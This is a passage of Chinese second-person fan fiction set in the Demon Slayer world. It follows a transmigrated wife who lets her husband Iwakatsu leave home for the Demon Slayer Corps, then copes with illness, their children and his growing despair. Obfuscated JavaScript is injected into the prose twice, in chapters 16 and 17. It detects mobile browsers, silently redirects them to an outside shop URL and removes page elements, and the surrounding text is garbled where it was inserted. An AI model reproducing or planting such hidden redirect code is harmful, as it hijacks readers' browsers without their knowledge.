“我诞生于世就是为了使生活变得单纯,并找到正确的出路。”*你引用了一句小说里的话作为总结,“不要再说当初、假如这种话了。” 那次谈话后,你们很久没有再聊真正的心里话。言不由衷的鼓励说了一箩筐,你和他都知道对方没有听进去。 事情是怎么发展成了这样,你束手无策。 岩胜继续他的埋头苦干,剑术反而荒废了。他说以前的练法不对,方向错误,练越多只会偏离得越远,他要好好想想,再重新开始。 他说这话的时候,你恍恍惚惚好像看到了一个巨大的高考倒计时在哗啦啦的翻页,数字清零的那一天,你们的生活一定会翻天覆地。 你束手无策,高三总有结束的时候,非人力可干预。你曾经期待过,现在却忐忑不安。 岩胜的目光变得飘忽不停,常常落在越过你的位置,又忽然小心翼翼地收回来,似乎连这样都担心会伤害到你。 你们徒劳地等待着第二只靴子落地。 阿系把闲置在柜子里的衣料翻了出来,岩胜送的西阵织裁成了小袖和服,现在穿正好合适。 你挑了一个阳光很好的晴天穿给他看,和服上淡雅的百合花纹样果然很适合你,但那素净的颜色让你缺乏血色的脸看起来更加苍白。 或许在时人的眼中,这样更美也说不定呢。你乐观地想。 岩胜照常夸赞你,眼神、语气无一不真诚,你依然开心不起来。 家里多了好多人,继国家的家臣、统领的下级武士、下辖的小领主、封地内的富户……这些人整日眉头紧锁地进进出出,离开后有的忧虑不已,有的一脸暗喜。 然后就是相邻方国的各家盟友,他们显然不好说话,争吵声从议事厅一直穿到寝屋。但再难说话,利益到手嘴也会软上三分,慢慢地,他们也和言细语起来,就是不知几家欢喜几家愁。 时间长了,奶娘也起了疑,问你:“家主这是在忙什么?这么些八辈子都凑不齐的人,怎么全来了?” 你一声不吭,只等岩胜亲自开口。他却像无事人一样,等闲就来看你,关心你的身体,叮嘱你按时喝药进补,唯独不加以解释。 可你们都清楚,那一天总会到来。 又一年过去,院里的紫藤花蔓延了一倍多,柔韧的枝条爬满墙面,香馥馥的花穗低垂下,送来阵阵香风。你看起来也好了许多,不再那么依赖被炉和屏风,可以一个人走来走去,不至于动辄伤风感冒。 那件青色的和服披在你身上,散落的百合花从下摆一路攀升到胸前,两个孩子环绕在身侧,摩挲着你袖口的纹样,你拉起他们的小手,看到岩胜从走廊的另一端过来。 父亲第一时间赶来,激烈地表达了反对。稳定、可靠的盟友才符合他的利益,岩胜要走,对他而言就是背叛。 “异想天开!”他拍着桌子,气得面皮紫胀,“堂堂武士,丢下封地、丢下家宅,你要干什么?你想干什么!” 他的声浪一阵比一阵高,说到后来唾沫横风、口干舌燥,岩胜岿然不动。 另一边,奶娘在哭。“你劝劝他,劝劝家主呀!” 你麻木地坐着,只是在想:他怎么这么胖了? 几年不见,父亲肉身膨胀,已变成了一个脑满肠肥的大胖子,说着话,冒出一脑门的虚汗,两颊的肉都在颤,那些疾言厉色的警告,完全发挥不出应有的效果,只会让人发笑。 你涣散的眼神从他不断开合的嘴下移到鼓囊囊的腰身,怀疑他别说是骑马打仗,恐怕连从前的盔甲都塞不进去了。 这样一个人大谈着武士的忠义和职责,究竟有什么说服力呢? 时透家主说得口渴了,接过阿系端来的茶杯,一仰脖就看见了你。 “还有,”他一来劲直接指着你,“责任是能随随便便丢下的吗,你对得起你老婆孩子?我告你,你这是抛妻弃子,你有什么脸?今天当着你夫人我女儿的面,你给我把话收回来,快说!” “父亲!”你说话了。 所有人的注视中,你从坐垫上站起,来到父亲面前。 “岩胜没有对不起我,从来没有,一刻也没有。”你说。“我支持他离开。” 16. 第 16 章 你始终相信,每个人来到世上,最终都要找到他自己喜欢也认可的方式,然后就这样度过余生。 你从前有过,穿越后,对理想的构建就具象化成上一世的样子。如果可以选的话,你会毫不犹豫,抛弃现在的一切回到过去,仅仅只是回到过去。 不是没有一丝留恋,而是你的所求早已和现实裂开了巨大的鸿沟,多么深的爱也填不平的鸿沟。 你知道的,在岩胜心中也有这样一个世界,它由剑术和武道构成,世俗的风雨吹不进去。唯有缘一的到来,带给他一整个全新的开天辟地,那里有鬼怪、有呼吸法,就是没有你一个凡人的立足之地。 他要到没有你的地方去了,那是同样一道填不平的鸿沟。 如果是你呢?换做是你,找到了回现代、回家的方法,岩胜拽住你的衣袖:“别忘了身份,你嫁了人、生了孩子,要履行家主夫人的职责,一辈子留在这间屋子里带孩子、做家务。”怎么办? 你想,你一定会恨他的,你会恨死他的! “我支持他离开。” 你的话音落下,父亲就砸了茶杯。 “我看你是中邪发疯了!”他怒极反笑,“等你哭都没地方的时候,别来找我。” 奶娘战战兢兢,和阿系一起趴地上捡起碎片,哭着向岩胜道:“家主大人。” 父亲仍是咒骂着:“真是畜生腹啊,多出来的孽子把你脑子带走了吗?” “岳父大人,”岩胜道,“我尊敬您,是因为您是夫人的父亲,再这样大放厥词,请恕在下不知礼数。” 他已摆出了送客的架势,父亲走到门外余怒未消,恶狠狠地对你道:“看你丈夫去吧,不知好歹的东西,哭几声、嚎几句,问问你生儿育女的、伺候他,他付出过什么?看他能不能说两句好话,多干点人事。” “父亲,”你仍然很平静,“付出不是看他失去了多少,而是我得到了多少。” 你看一眼岩胜。 “从他那里,我得到勇敢的理由,坚持自我的信心,不断学习的机会,更多的人生选择,还有活下去的勇气。” 你历数今生的得失,闯过一道道难关的底气让你挺起胸膛。 “它们是如此珍贵,我得到的,远比失去的多。父亲,请您放心,有了这些,我不会在没有丈夫的地方哭泣。至于别的您担心的东西,谁也没有办法。” 你静静地伫立着,不知过了多久。父亲早已离开,阿系和奶娘也退下了。岩胜走过来,从后面抱住你。 “谢谢你,”他说,“我知道你是爱我才……” “不,不是这样,”你转身贴进他的胸膛,泪水汹涌而出,“不是这样的,我爱你不愿你离开,但我不能阻止人去找他想要的东西。” 你的三观不允许你成为任何人自我实现之路上的绊脚石。不是没有想过分离的理由,道不同、色衰爱弛、移情别恋、疾病、意外都有可能,历久弥新的感情永远是少数,不应当奢求,为理想而分开,已经是最好的一种了,不是吗? 岩胜离开的那天,简单得就像每一次出巡,紫衣乌袴,腰间挎了把刀,就这么走了。 你目送他走过长廊,一直到门前,孩子们就在庭院里嬉戏,以为父亲还会在不久后归来。 “祝君武运昌隆。”你笑着说,抬手在他背上拍一下。 他高大的背影消失在橹门外,你回到屋里,整个人像是抽掉了魂。 足足一月有余,你都处在巨大的不适应中。一人走掉,不只是少了一个人,还有他留下来的巨大真空。 你这才反应过来,意识到除了死亡,你其实没有经历过真正的离别。 过去,不管走得多远,父母亲人、同学朋友就躺在手里,只隔着屏幕滑动的距离,断联的旧友、不再联系的老同学,只要想,随时可以顺着交际圈找到他最新的联系方式。发达的现代通讯交通网住所有人,让你的一部分时刻与牵挂之人相伴。 可如今,这些已化为乌有。 通信没有用,回来探望也没有用。他迈出了这道门,就是划开了银河,跨过了关山,这才叫离别。和一个人血肉到心灵的联系尽数斩断,痛苦、无力不亚于另一场穿越。 你浑浑噩噩地吃饭、睡觉,对孩子的追问哑口无言。 一切伤痛都需要时间恢复,而且你愈合地格外慢。 直到一个月后,你终于有了点心思做事,到桌前摊开书本,怔愣了好久。 岩胜他,已经找到一生要奋斗的目标并且为之努力了,你呢? 你开始觉得羞愧了。 时间已不是你能随意抛洒的富余之物,这样丧失斗志沉沦下去,对得起自己吗? 你挽起袖子,就从写满这张纸开始吧! 室町末期是各种文学形式涌现的时代,亲身体验、见证这种变化,不也是很好的吗。 你渐渐找回生活的平衡,恢复到平静有意义的日常。独自操持继国家对你还是很有难度的一件事,但留在身边的人都全心全意地帮忙,你知足了。 孩子们一天天长大,变得懂事。大儿子活泼好动,每天精力旺盛地跑跑跳跳,小儿子的身体也强健许多,虽然各方面还是有些跟不上,不注意的话很容易生病,一些暗疾的概率肉眼可见在下降。你肩上、心里的负担都可以放松了。 还要操心的就是教育问题。舞刀弄枪你可做不来,请人来教,你也看不出水平。想来,你这种没有半点运动天赋的人,平衡能力和技巧的巅峰是小学学会自行车,体力、耐力巅峰是中考体育勉强满分,不在基因上拖累就不错了,别的真的指望不上。 你也就抓抓他们俩的识字启蒙了,大儿子不用费心,看一遍就能记住,小儿子这里简直鸡飞狗跳,因为发育的问题,他更难集中注意,抽象思维还有识图能力差,遗忘起来还很快,每一次教学都像打仗。你每每气到七窍生烟,想到孩子不好也不是他的错,又消了气,再教一遍。 差劲的身体全方位拖累你的计划,你必须像一个穷光蛋花最后一笔钱那样,精打细算地分配每件事上付出的精力。至于那些实在兼顾不到的,你也只能放弃。 那些年,朱乃是怎么坚持下来的呢,拖着这样残破的躯体,行动都困难,她是怎么肩负起一切,还装作若无其事直到最后呢? 你果然是做不到她那种程度的。 阿系报上来的佃户和驻地内农民流失的数字已经达到了惊人的程度,这不是单纯经营不善能造成的后果。 谁都清楚,一个没有成年家主顶立门户的家族是没有未来的,其他家没来明抢,绝不是看在继国家余威尚存的面子上,他们大可以刀不血刃,优雅地取走本就是他们囊中之物的家产。 岩胜走之前的安排是否也起过效果,你不想去推测,可能有点儿吧。 被蚕食的基业暂时还显露不出什么,但家族处境艰难这回事,不需要出门也能体会到。你对门庭冷落的日子适应良好,奶娘却忍不住抹起眼泪来。 “都是些什么人啊,尽来欺负我们,老爷他太狠心了,少爷更狠!钱拿着他们不扎手吗?原来都是一家人啊,姬君,您是他亲生的女儿啊,他下这种手……” 你很心累。 累了一天,倒在榻榻米上,脑子空空什么也装不下的时候,长子跑到你身前。 “妈妈,你是不是更喜欢弟弟?” “为什么这样想?” 他控诉地看着你:“你每天照看他、关心他,花好多时间教他,为什么我没有?” 你无言以对。 他愤怒地发泄:“为什么,为什么喜欢弟弟不喜欢我?” “没有,没有不喜欢你,你们……”你虚弱地解释,想告诉他不是这样,在你心里他和弟弟是一样的,而且他是你多么重要的安慰,没有他的话你跟本不知道自己还有没有信心撑下去。 你还有很多话要说,可他已经跑掉了。你起身去追,没几步就双眼发黑摔倒在地。 你忘了,自己根本没有办法做到劳力又劳心。 所以,对岩胜,你不是毫无怨怼的。 这种时候,岩胜你在哪里呢?孩子是我一个人的吗?就算是健健康康的人,独自带两个孩子,其中一个还天生体弱,都是很不容易的,你还能怎么办呢?下人再多,可孩子们想要的是爸爸妈妈啊! 你黯然神伤,为他们从出生背负的这一切痛心不已。 最后,还是奶娘喊你不应,一间屋子挨着一间地找,把你扶起来送到床榻上。你歪在枕头头上,看到自己的整只手,连同甲床都像纸一样白。长期贫血的后果在你身上一一显现。 “早知道,就不催你生孩子了,生什么生,啊?”奶娘哭哭啼啼,“都是命!” 你疲倦地合上眼睛。这种话,做母亲的人是不能说的。你生出了他们,这是一辈子的责任,承受孩子的责怪,是责任的一部分。虽然你这一辈子不剩多少了。 你懂,但委屈是忍不住的。 “不要说了,我还指望着我死了,你照看他们呢。” “大的、小的尽指望我了!”奶娘气冲冲地骂几句,又抹起眼泪来,“瞎说什么呢,什么死不死的,我这么伺候你,赶紧给我活蹦乱跳起来。” 你苦笑。慢慢地,你得让她们接受你时日无多的现实,并为此做好准备。 岩胜现在在做什么呢? 你看向窗外的紫藤花。 家中的草木历经了几番荣枯,你开始淡忘,时间的意义只剩下冷暖带给身体的不同影响。 天气热,头昏脑涨提不起一点精神,转凉了,就浑身发冷离不开被炉。 还能坚持多久呢?你不去思考这个问题,尽可能多给孩子们一点陪伴。 学习的事,也放到一边,学进去多少算多少,不赶进度了。你想,阶级固化程度很高的社会里,其实犯不着鸡娃,他们健康成长才是最重要的。 你让他们围着你坐下听故事,说累了就靠着柱子,看他们做游戏。 双六、围棋、放风筝,哥哥带着弟弟,笑声从这边飞到那边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048782|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你含笑听着,顺便读鎹鸦送来的信。 岩胜的叙述保持了他一贯简洁的作风,寥寥几笔带过他的现状后,就是问候你和孩子们。你从中读不出他的情绪如何。 应该是开心的吧?他追随缘一加入鬼杀队,很快就成为了骨干成员之一。技术得到磨练,有了精进的机会,才华得以施展,成绩也被认可,人之所求,也就这些了吧? 你把信翻来覆去地看,心里始终空落落的。 就不能多写几句吗?算了,我多问几句吧。 你铺开信纸,研好墨汁,提起的笔久久不落。长时间的分离已模糊你对他的感知,岩胜所过的是怎样一种生活,你也无从想象。 曾经,你有一箩筐的话要对他说,写满一张又一张的笺纸,封上时透家的泥封,恨不能一天寄出两三回。那是从共同的情感体验里淬出的真心话,你们已失去了这个基础。 鎹鸦拍拍翅膀,带走家里的问候。你让孩子把他们的小手印印在纸上,装了进去,内心却更加孤独。 没有任何理由,你凭直觉感到岩胜心里的隔膜,你们是在向一片虚空抛掷感情呀,能得到什么回应呢。你甚至后悔这么做了。 进一无所谓地甩甩手,跑去问阿系要水来洗,止一慢吞吞地跟上哥哥。对他们来说,“把成长的痕迹寄给父亲看”,新奇的乐趣远大于实际含义。他们还记得那个抱着他们教走路的人吗? 你很失望,为他、为他们,为你自己。 紫藤花家的医师不忙的时候过来看你,带来信件里没有的内幕消息。近来,她走动得很勤。她说,这是因为要救治的伤员人数大大下降了。 “鬼杀队的实力提升地非常快,”她高兴地说道,“各位柱都掌握了呼吸法,一般的鬼根本奈何不了他们。尤其是两位继国大人,大家都说,没有他们战胜不了的敌人。” “真的?他们有这么强?” “他们是最厉害的!所有人都这么说,你还不信吗?” 下一次来的时候,她带上了伴手礼。 “这是一个伤愈的队士给的,他说是月柱大人从鬼的手里救下了他,听说我常到继国家,特意绕远路送来的呢。” “月柱大人太棒了,听说他新创了自己的呼吸法,之前只有日柱大人能做到呢。” “还有这个、这个,这个也是,都给你!” 这已是你少有的安慰。 知道这个世界上有人得到了拯救,暗处的威胁在被逐一消灭,勇敢的人舍生忘死,为守护他人踏上征途,你会十分欣慰,觉得自己也做出了正确的事情。 你从继国家拨了一笔钱和物资给她,用来改善紫藤花之家的环境,医师谢绝道主公不缺钱。可钱怎么会嫌少,你坚决给了她。后勤是很重要的,你也花不了多少,就用在更需要的地方吧。 久而久之,你们的来往成了惯例,发展出了医师和军属之外的友谊。 除了岩胜的消息,她也和你聊聊治病的趣事,抱怨工作的劳累,你则旁敲侧击告诉她消毒杀菌、保持卫生的重要性,怎么通过标准化流程提高行医效率,还动手帮她设计了一套新的流程规范。 “不过,我再怎么辛苦,也比不上鬼杀队的柱们,他们才是杀鬼的中坚力量,这会儿还在忙新的锻炼方法呢,叫什么来着,忘了。”她说。 “能成为柱,都是万里挑一的,不像我又矮又瘦,没什么力气,根本没有可能亲自报仇,只能做些小事帮帮他们——对了,你说的风玫瑰图怎么画来着?” 从她的话中你了解到,鬼杀队的成员不是世代从事此业就是和鬼有血海深仇,他们加入进来只为获得除去恶鬼的力量,岩胜这样的,是少数中的少数。 “所以,我最佩服的就是月柱大人!不是所有人都可以放弃优渥的生活,一心去帮助别人的。这样的人最了不起了!” 话说完,她才想起你也是被放弃的一部分,惊慌地道起歉来。 “啊!抱歉、抱歉,真的非常抱歉!我不是这个意思,我……” 你一笑置之,开启下一个话题。 “你说的新的锻炼方法,具体指什么?” 她开开心心地来,开开心心地走,告诉你新的方法非常有用,但是有若干不足,你认真地听完,再和她商量着调整。 医师总是对她的工作充满热情,那强烈的干劲时常感染到你,一点点忧愁在她那儿总是很快消散了。 “柱们太乱来了,仗着斑纹,都不带歇的,结果病了,怎么这样啊?算了,反正我会治好他的,很快就可以再杀鬼了!” 她说的这一切,你与有荣焉。 为保护人类而奋斗,不是强过为权、为利百倍吗?总有人更爱过有意义的人生,从抢水争地、挖路断桥的龌龊中超脱出来,走到更光辉无私、纯粹高尚的世界里,对醉心武道本身的岩胜来说,不是非常幸运的一件事吗? 你为他高兴,真的很高兴。 你只是非常想找到一方同样的天地,可以心无挂碍地投入进去。 17. 第 17 章 岩柱没有救过来,队里的医师还没来得及采取什么措施,他就断了气。 随着他的突然逝去,死亡的阴影接二连三地降落在斑纹剑士的身上。 一开始,鬼杀队众人以为是什么诅咒类型的血鬼术,多方调查后明了,战力不可思议的大幅提升,原来是提前透支生命的结果。 这一事实,大家很快就接受了。在纵情享受战斗的酣畅淋漓时,他们已隐约感到那一刻极致的快感有种不切实际的轻飘飘,过去是漂亮的战果掩盖住了不安,现在只不过是猜测落实。 知道是怎么回事后,剩下的就简单了,只看个人如何接受。 有人格外激进,拼命地接任务,整夜奔走杀鬼,直到倒在没处不知名的角落,有人离开了队伍用剩下的时间去做之前认为不甚重要应该排在杀鬼之后的事,但更多的人并不能坦然地面对死亡。 他们或歇斯底里,或酩酊大醉,在茫然无措中惶惶终日。 岩胜看着他们丑态毕露的样子怒火涌动。仅仅在不久前,这些人结伴去杀鬼奋勇向前少有退缩的时候,死都不怕,却在等死的过程中骨气尽丧。 面临生命的终结,一切矫饰都会现形、剥落,暴露出本来的样貌。 岩胜忽然开始恐惧:别人眼里我又是什么样子的呢? 他像往常一样行动,练剑、找人切磋、指导弟子、领任务、杀鬼、回到驻地,再练剑、找人切磋……循环往复,绝不出一次错。 他想起每天你晨起,哼着调子披上一件小袖,对着镜子绑好头发,面庞染上金色的晨曦,然后和他一起用餐,听阿系说今天要处理的事,一边点头一边快速地写在怀纸上。他从没亲眼见过你是怎么解决这些琐事的,晚上巡视归来,炉灶永远热气腾腾,榻榻米、门框、壁龛全都散发着洁净的光芒,阿系捧出刚煮好的茶汤,你已坐在窗前那个奇奇怪怪的凳子上埋头写写画画,或吹着一支他没听过的曲调,日日如此,从无例外。 你从不对谁耳提面命,内生的秩序自然形成稳固的氛围,足以摒除外界的干扰。你无需举起刀除掉一个接一个的敌患,就可以成为自己的主人。 他在你身边感受到规律、重复、固定行程能带来的巨大安全感,时间像节日的金平糖,可以含在嘴里慢慢地嚼很久,以为没有了,舌头舔一舔,甜滋滋的,还在。 可现在,这一方法已失效。只有岩胜自己知道,他是怎样在结束了一天后,独自在无人处彻夜难眠。 他曾经厌倦了那种千篇一律的漫长生活,如今却在飞速流转的日夜中寝食难安。 在他还是那个战场上无情掠夺生命的家主时,从未如此深刻地感到死亡就是虚无,是一切意义的消失,锤炼到化境的□□、无坚不摧的战技,都在死亡的呼吸下化为齑粉。 岩胜在行走的脚步、挥刀的破空、清晨的鸟鸣,甚至是睡眠中时刻听到死神振翅的声音,一声声,催促他去寻找某种值得的证明。 到了后来,他甚至开始忌妒最先死去的岩柱。在不移的信念和得到力量的狂热里不知死之将至,痛痛快快地战斗后陷入永久的长眠,怎么不是幸运呢?反倒是他们这些剩下来明白真相的人,再也得不到安宁。 岩胜发现,他在不知不觉间对弟子的要求越来越严格。以前能一笑而过的那些小毛病,现在每一个都能让他横眉冷对,甚至怒目相向。 好几次,弟子们惊慌不已、战战兢兢,岩胜才反应过来刚才的发怒实在是过了。 怎么会这样?他厉声呵斥、用竹刀劈打别人的样子简直……简直像他的父亲。 意识到这一点,岩胜的脑子里响了个闷雷,炸得他连续几天都浑浑噩噩不知身处何方。 可即便是这样地用心去教了,他们的进步速度还是慢得惊人。 为什么这么慢?当初选择这些人来亲自指导,就是看他们天分还不错,可训练了这么久,一个可以作为继子的人选都没有。 “继承人的事情想好怎么办了吗?”他问缘一,“没有人的实力能触及你我这个程度,传承估计是做不到了……这样下去,千锤百炼来的呼吸法就对会失传的。”* 不久之后他就会死去,引以为傲的剑术从这世上消失,就像从来没有存在过一样。缘一,你有想过怎么办吗? 缘一脸上挂着淡淡的微笑。 “兄长大人,你把咱们两兄弟想得太过重要了。你我只是人类漫长历史中的两位过客而已。天赋远在你我之上的婴儿说不定此刻就降生在某处,想必他们最终也能抵达相同的境界吧。无需多虑,我们只要顺其自然,等待人生落幕的那天到来便可。”* 这究竟有什么好笑的…… 啊,不行,不能再想了,内脏翻江倒海,要吐出来了。 光活着就是一种暴力的惩罚,浓稠的粘液一样的恨粘得到处都是,好恶心。想要撕扯成碎片、摔打到粉碎再踏上两脚,毁灭的冲动游走在每一个角落无处安放,得到任何的回应都像是被持续地羞辱。 岩胜想要呕吐很久了。 鎹鸦叫了两声,停在训练场外的围栏上。 岩胜取下它身上的信件,握在手里久久地出神。 这个时间,水柱应该过来了吧。这样想着,他取下架上的竹刀往里走。 水呼虽然不能和缘一的日呼比,但和其他流派的融通做得非常好,和水柱比试也很有意思。不过,还是风柱更容易上强度。 岩胜推开了大门,里面一片狼籍。 又一位柱倒下了。 围在师父跟前,水柱的继子们完全吓傻了,不知道伸手,只会乱喊。 岩胜立刻丢开刀上前帮忙,刚好赶上这位熟人闭眼的最后一幕,岩胜悚然一惊,无尽的凉沁满全身, 他亲眼目睹、经历过父亲从病入膏肓到咽气的每一个阶段,活力一点点耗尽,人慢慢熬到剩下一副皮囊,一根根突起的肋骨还随着干瘪的胸膛起伏,那样子只会让人觉得死去也是解脱。 可水柱不是这样,挥洒生命榨取力量的斑纹剑士不是剑士不是这样。那是真正的人死如灯灭,热烈的燃烧到苍白的死寂,只隔一个呼吸。 终结到来得如此猝不及防,见惯生死的武士也无能为力。 “不能救救他吗?”有人哭喊道。 混乱中,装着信的竹筒不知滚落到何处。 几日后,葬礼如期举行,这回大家都有了心理准备,仪式场面庄严肃穆。 水呼易于入门,不缺后继者,新任水柱就在灵前上任,少年的脸庞稚气未脱,眼神坚毅一如他的前辈,岩胜几乎能看到斑纹在他身上蔓延夺去生机的样子。 真是荒谬,这儿的人个个年纪轻轻时日无多。岩胜焦躁起来。 交接期,岩胜主动承担了更多的任务,现在新的柱到位,他有些无所事事了。 挥刀、落下,弟子惊叫着飞出去。 挥刀、落下,鬼在诅咒声中灰飞烟灭。 挥刀、落下,周身全是老套的恭维。 挥刀、落下,缘一又有新剑型了。 挥刀、落下、挥刀、落下、挥刀…… 什么时候,轮到我? 没时间了,没有时间了啊! “只要变成鬼,所有问题不就迎刃而解了吗?”* 你在走廊上看孩子做游戏的时候,听到了家主回来的消息。 进一因为练剑磨破了手,高举着朝你跑过来,你取来药膏和干净的布给他处理。 “再遇到这种情况怎么办呢?”你趁机考他们。 进一抿住嘴头转到一边,止一看一眼哥哥,犹犹豫豫地说:“我知道,找阿系。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048783|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,答对了。” “就不能找您吗?”进一执拗地盯着你。 你正要说什么,阿系一路飞奔着过来道喜,你抬起头来不及做出什么表情,岩胜已大步流星穿过中门来到院内。 你维持着俯身拉孩子的动作,看起来傻极了。 岩胜不错眼地看着你,你还像一个小孩子一样,坐在走廊边上小腿垂下来轻轻地晃。 看到生人过来,止一直往你身后躲,进一拉着他的手一下子跑开了。 你连忙转身去追:“这是爸爸呀,不是每天追着问我爸爸去哪儿了吗,快过来呀。” 奶娘把他们拽过来,推到你跟前,两个孩子还是老大不情愿的样子。 “是爸爸呀。”你固执地强调着,焦急地看他们。 进一抬头看他一眼,闷头跑掉了,止一挣脱不开奶娘的手,急得扭来扭去。 你还要说什么,一只手搭在了肩上。 “不用了,”他唤着你的名字,缓缓蹲下身,“不用了。” 你的眼泪汹涌而出。 岩胜看起来瘦了,风尘仆仆又心事重重,看着格外疲惫。你用手绢去掸他身上的灰,没两下就投入他的怀抱。 岩胜收紧手臂,紧紧地拥着你。 “真是的,放你走是让你去做喜欢的事情,这个样子我可是会后悔的,现在已经后悔了。” “没事的。”不知是安慰谁,他把头靠在你的肩膀。 屋里亮了灯,你靠着枕头坐下,给他缝补破开的羽织。 大概是作战后匆匆赶来,岩胜看着有些狼狈,平时打理得整整齐齐的发丝散出几茎,衣服上有缠斗过的痕迹。 你先把袖口、领口处的布料拆下来,对着光穿好针,换上新的。衣服里衬不好换,你拉开衣襟翻过来,直接缝好。 “试试看,没有太紧吧。” 你抖开羽织披他身上,左看看右看看,满意了,利落地转动手腕打一个结,凑过去咬下线头。 “好了。” 岩胜摸摸衣服上的针脚,只说:“别太累着自己了,小事就交给别人做。” 你摘下顶针,埋头收拾针线盒:“小事嘛,我顺手就做了。倒是你,别让自己那么累。” 你盖好盖子,重新抱住他,手指沿着他脸上新添的红色斑纹来回地摩挲,他这样看着更像缘一了,不过仅仅是第一眼,看着线条相似的五官,其实给人的感觉完全不一样。 “慢慢来,进步也不是一天两天的事呀。和我说说杀鬼的事吧。” “那没什么好说的。” “骗人,我听人家说的可有意思了。” “谁?谁和你说的这些?” 你感到抚摸你头发的手僵住,心中不解:“紫藤花之家的人啊,那位医师常来呢。” 岩胜有一会儿没说一句话。 “不要和他们来往。” “为什么?” “不想要你接触和鬼有关的事。” 你安抚地轻拍他的背:“不要担心,那种事不会再发生了——是谁?” 你抬起头往门边张望,屏风后两个小脑袋马上缩了回去。 “快过来呀,别冻着了,”你招呼他们,“哎,怎么不披件衣服呀,快。” 你掀开被子把他们塞进去,裹得严严实实的,只露出两张兴奋的小脸蛋,挨个亲了一下。 进一猛力挣扎,胳膊挣脱出来放在被面上,长出一口气。他穿着深蓝底墨竹纹的寝衣,是岩胜的旧衣改的。 衣服的前主人发话了:“男子汉要……” 你捂住他的嘴:“这时候就不要说话了吧。” 就这样,你们四个挤在两个人的被窝里,胡乱睡了一晚。你的后背贴着我的胸膛,爸爸妈妈各伸出一只手环成最温暖的圆。 18. 第 18 章 早上天刚亮,怀中的孩子就吵吵嚷嚷地爬出来,换衣服、穿鞋,跑出去游戏。你因为虚弱起床困难,迷迷糊糊叮嘱几句又伏在了枕上,岩胜竟也躺着,不着急起床。 他挪动身躯,补上孩子们的空,额头贴在你的颈侧,鼻梁轻蹭你柔软的脸颊。你自然地侧过身,冷冰冰的脚塞进他的腿弯。 你们维持着相依偎的姿势,直到完全清醒过来,也没舍得动,共同享受这难得的温馨时光。 最终还是你先打破了沉默。 “什么时候走?” 他把头埋得更低:“马上。该到去本家的时间了。” 你一阵心痛,未曾远离,已感到抽去血肉的痛苦。 “岩胜,我没有别的要求,”你浑身发抖,“答应我,至少在我死之前,你要回来看看,和我告别啊。” 没有人知道你心底的恐惧,你无法诉说,也得不到任何安慰。 岩胜拉过你的手,贴在唇上。 “我答应你。” 屋外,孩子们的老师已经到了,开始剑术授课。你叮嘱过,止一强身健体就够了,所以上课的重难点都在进一那儿。 他这几日大概是到了瓶颈期,练来练去都是重复的动作,老师逐一纠正他动作不到位的地方。 你们静听着这声音,都产生了时光倒流回到往昔的错觉。 岩胜扶你起来,你像往常一样帮他梳好头发。 用过餐,你们一起披衣出去。进一嗖的扭过头来,眼睛亮得惊人。 “要这样。”岩胜从背后握住他的手,带他打完一整套动作,感受正确的发力方式和肌肉走向,松手进一再独自做一次,每一步都像模像样。 做完收剑式,进一微微喘气,你给他鼓掌,孩子顿时就不好意思了。 你笑,给他擦汗:“有时候,坚持不见得是好事,停下来想一想,什么才是正确的,能做得更好,记住了吗?” 进一不答话,两眼滴溜溜地转,看到岩胜穿上一身外出的衣服,黯淡下去。 “走了。”他放下竹刀。 你的手悬在半空中忘了收回来。 “没事的。”不等岩胜说什么,你已调整好表情,牵着他的手送到门外。 更远的地方岩胜不许你再走,他挡住风口拉紧你的的衣襟,就像离家追随鬼杀队时那样走掉了。 你靠着门柱目送他的背影远去,也同那天一样伤感。 “杵这里干嘛,着凉了又要我照顾。”奶娘眼皮都懒得抬,拽着你往回走。 除非岩胜突然反悔又回来当家主,不然她是永远不会给他好脸色的。 你拗不过她,乖乖地回去躺下了。 就这么几步路,浑身都酸痛起来,你抱着被子缓了有一阵才好些。缘一所说的大限日渐逼近,你们还能见几次面呢? 你静静地闭上眼,不知道接下来的消息会怎样令家里天翻地覆。 说实话,嫁人之后,你就没见过家里同时进来这么多人。自打穿越来,也没有过这么多人同时对你讲话。 他们七嘴八舌地说着不同的话,表情却是一模一样的愤怒,你完全弄不懂这是要表达什么,再加上奶娘一直挡在前面声嘶力竭地叫他们安静,你更是一句话都听不懂了。 “我说了他不在、不在,听不懂吗?”她大声喊道,神色足以用狰狞来形容,“这个人早就和我们没关系了,你们请回吧,不要无缘无故跑到别人家里啊!” 乱哄哄中,有一道声音格外尖锐:“他最后一次出现就是在这里,到底哪儿去了,快说!” 奶娘更大声的吼回去:“不知道,我们不知道!听见了吗?” 你捂住耳朵一路小跑着离开,把人群甩在身后。 正厅里挤满了人,屋外却是如此地空旷,你怔怔地立在庭院中间,风儿送来紫藤花的香气,嘈杂声似乎都已远去。 “岩胜,你找到自己想要的了吗?” “还没有,但是我想,束缚在我身上的一切枷锁都要解开了。” “那真是太好了。” 那会儿,岩胜你是什么表情来着?原谅我,竟然没有注意到。 岩胜,你知道吗,追求人生的意义对我来说也是很重要的,只是我时常忘记了这一点。 你向着门外大踏步迈进。 小说剧情不属于这平常的一天,以及普通的你,心有灵犀般的宿命遇见没有上演,你也早就放弃了女主角幻想,机械地走在每个路口都差不多的路上。 近五年足不出户的日子让你退化得可以,绕了几次后,都分不清是在哪里了。 你就这么走着、走着,心想:我一定要找到他。 他在哪里?不知道。 